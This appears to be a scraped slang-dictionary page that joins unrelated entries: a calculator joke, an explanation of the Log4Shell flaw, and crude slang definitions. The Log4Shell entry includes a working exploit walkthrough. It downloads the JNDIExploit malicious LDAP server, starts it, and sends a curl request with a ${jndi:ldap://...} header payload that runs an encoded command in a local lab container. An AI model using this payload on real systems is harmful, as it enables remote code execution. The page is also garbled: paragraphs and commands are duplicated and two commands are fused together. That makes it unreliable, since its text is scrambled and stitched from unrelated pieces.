LOG 4
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0%÷root(∛√(1÷789), log(log2(atan(acos(asin(456!)))×e×123+asinh(acosh(atanh(π×0.0484041570))))))
You went to the calculator app on a apple device and went to scientific mode and just pressed every button left to right
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Log4Shell
The Java Naming and Directory Interface (JNDI) allows for lookup of Java objects at program runtime given a path to their data. JNDI can leverage several directory interfaces, each providing a different scheme of looking up files. Among these interfaces is the Lightweight Directory Access Protocol (LDAP), a non-Java-specific protocol which retrieves the object data as a URL from an appropriate server, either local or anywhere on the Internet.
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
In the default configuration, when logging a string, Log4j 2 performs string substitution on expressions of the form ${prefix:name}. For example, Text: ${java:version} might be converted to Text: Java version 1.7.0_67. Among the recognized expressions is ${jndi:<lookup>}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server. Besides LDAP, other potentially exploitable JNDI lookup protocols include its secure variant LDAPS, Java Remote Method Invocation (RMI), the Domain Name System (DNS), and the Internet Inter-ORB Protocol (IIOP).
To execute commands with Log4Shell, I’ll be spinning up an LDAP server with the capabilities to exploit JNDI injection attacks written by feihong-cs. Run the following to download the malicious LDAP server:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
cd /tmp
wget --quiet github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zipunzip JNDIExploit.v1.2.zip
With the ZIP archive decompressed, we can retrieve the programs help menu with the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389 (there will also be an HTTP server spun up on port 9001. Looking at the source code tells me that this is where the actual malicious Java class is being loaded from), run the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
And finally, to obtain our reverse shell, let’s base64 encode a echo command to write some data into a file in the /tmp folder (make sure to get rid of the + sign by adding extra spaces as needed):
echo -n 'echo "you have been pwned" > /tmp/note.txt' | base64 -w 0
And then make the following request to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAieW91IGhhdmUgYmVlbiBwd25lZCIgPiAvdG1wL25vdGUudHh0}'
We can then confirm that the command was executed by going into the container with docker exec -it log4shell-app sh and then confirm that the file note.txt was created in the /tmp folder:
Nutshot
It is said of the situation where a person has the bad luck to make contact with his testicles against an undefined surface or object, intentioned or not.
Given the nature of the word, it is more appropriate to design cases where the interaction is made with a moving object, for example, a ball.
Although it is extremely painful for the victim, it tends to be considerably funny to people who witness it.
Given the nature of the word, it is more appropriate to design cases where the interaction is made with a moving object, for example, a ball.
Although it is extremely painful for the victim, it tends to be considerably funny to people who witness it.
Today in the baseball game the pitcher took a nutshot; the baseball hit him in the nuts.
Man, I just watched the funniest nutshot video ever.
Man, I just watched the funniest nutshot video ever.
Nutshot by Uberflaven March 1, 2009
Word of the Day on June 26, 2026
Nerd neck
A "human" that spends so much time playing video games that their posture is level nerd neck. Everytime anyone goes tryhard they hunch down and their neck gets longer there fore a nerd neck is always hunched down cause they're always going try hard. In other words a nerd neck is a try hard, since their neck is 100% longer than the average human being due to playing too many video games and taking them serious, nerd necks are not even considered human anymore but something more sad. Nerd necks are often found on fortnite, their natural habitat usually being tilted towers.
Nerd neck by D Sandwich Maker February 5, 2019
Word of the Day on June 25, 2026
prickup
slip of the tongue perhaps,
Those idiots who drive around in a ridiculously raised pick up truck, making a top heavy vehicle even more top heavy and unstable
Those idiots who drive around in a ridiculously raised pick up truck, making a top heavy vehicle even more top heavy and unstable